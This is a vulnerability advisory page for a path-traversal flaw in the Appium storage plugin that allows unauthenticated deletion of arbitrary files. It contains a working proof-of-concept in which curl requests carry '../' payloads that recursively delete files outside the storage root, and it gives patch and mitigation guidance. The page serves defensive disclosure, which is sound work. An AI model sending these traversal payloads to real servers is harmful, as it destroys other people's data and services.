NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

CVE-2026-58192 — @appium/storage-plugin

HIGHFix: appium/appium@5fee017

CVE-2026-58192 is a high-severity (CVSS 8.6) Path Traversal vulnerability in @appium/storage-plugin. A fix is available for @appium/storage-plugin — see the affected versions and patch details below.

Appium: Unauthenticated arbitrary file/directory deletion in @appium/storage-plugin

Also known asGHSA-jwgx-mp9m-jwcr
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 20, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-58192.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs51th percentile — riskier than 51% of all scored CVEsHighest risk
0.00%0.38%0.76%1.14%0.3%0.4%0.6%0.6%0.6%Aug 26Oct 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
📦@appium/storage-plugin

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The Appium storage plugin exposes an HTTP endpoint POST /storage/delete that takes a user-supplied name and deletes it from the server storage folder. The handler passes name straight into path.join(storageRoot, name) and then fs.rimraf() without any path sanitization. By sending a name containing ../ sequences, an unauthenticated remote client can escape the storage root and recursively delete arbitrary files and directories that the Appium process user can write, anywhere on the host filesystem.

The same plugin's upload path validates the name via fs.sanitizeName (requireValidItemOptions), but the delete path does not an asymmetry that makes the missing validation unambiguous.

Details

Published build (node_modules/@appium/storage-plugin/build/lib/storage.js), and source (packages/storage-plugin/lib/):

  • packages/storage-plugin/lib/storage.ts:65-75 — Storage.delete():
    async delete(name: string): Promise<boolean> {
      if (name.toLowerCase().endsWith(TMP_EXT)) {
        return false;
      }
      const destinationPath = path.join(this._root, name);   // <-- no sanitization
      if (!(await fs.exists(destinationPath))) {
        return false;
      }
      await fs.rimraf(destinationPath);                       // <-- recursive delete
      return true;
    }
    
  • packages/storage-plugin/lib/plugin.ts:77-83 — handler passes raw body:
    STORAGE_HANDLERS.deleteStorageItem = async function deleteStorageItem(req) {
      return await executeStorageMethod(
        async (storage) => await storage.delete(parseRequestArgs(req, ['name']).name),
      );
    };
    

parseRequestArgs (plugin.ts:94-106) only checks that the key exists; it does not validate the value.

  • Contrast — the upload path does sanitize: storage.ts:53-54 add() → requireValidItemOptions() (storage.ts:236-256) rejects any name that differs from fs.sanitizeName(name). delete() skips this entirely.

PoC

  1. Install and start the server with the storage plugin:
    npm install [email protected]
    ./node_modules/.bin/appium plugin install --source=npm @appium/storage-plugin
    ./node_modules/.bin/appium --use-plugins=storage --address 127.0.0.1 --port 4723
    

(Default --address is 0.0.0.0; 127.0.0.1 used here for a contained test.)

  1. Plant a victim file/dir outside the storage root, then delete via traversal:
    mkdir -p /tmp/pv_dir && echo SECRET > /tmp/pv_dir/important.txt
    echo single > /tmp/pv_file.txt
    
    curl -s -X POST http://127.0.0.1:4723/storage/delete \
      -H 'Content-Type: application/json' \
      -d '{"name":"../../../../../../../../../../tmp/pv_file.txt"}'
    # -> {"value":true}
    
    curl -s -X POST http://127.0.0.1:4723/storage/delete \
      -H 'Content-Type: application/json' \
      -d '{"name":"../../../../../../../../../../tmp/pv_dir"}'
    # -> {"value":true}
    
<img width="2182" height="678" alt="image" src="https://github.com/user-attachments/assets/a4984132-3334-41c5-9a29-12ec59461d25" />

Impact

An unauthenticated attacker who can reach the Appium HTTP port (network by default, or cross-origin via a victim browser due to default CORS + no auth) can recursively delete any file or directory writable by the Appium process user. On CI runners, device farms, and developer machines this enables destruction of source trees, build artifacts, SSH keys, configuration, or the OS user profile data loss and denial of service. Appium frequently runs with broad privileges on shared device-lab hosts, amplifying impact.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@appium/storage-pluginall versions1.1.6npm install @appium/storage-plugin@1.1.6

Affected Products

1 product · 1 configurations
Application
appium\/storage-pluginappium
< 1.1.6
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @appium/storage-plugin, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @appium/storage-plugin to 1.1.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-58192 is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

## Summary The Appium storage plugin exposes an HTTP endpoint `POST /storage/delete` that takes a user-supplied `name` and deletes it from the server storage folder. The handler passes `name` straight into `path.join(storageRoot, name)` and then `fs.rimraf()` **without any path sanitization**. By sending a `name` containing `../` sequences, an unauthenticated remote client can escape the storage root and **recursively delete arbitrary files and directories** that the Appium process user can write, anywhere on the host filesystem. The same plugin's *upload* path validates the name via `fs.san
O3 Security · Impact-Aware SCA

Is CVE-2026-58192 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-58192: @appium/storage DoS — Fixed in 1.1.6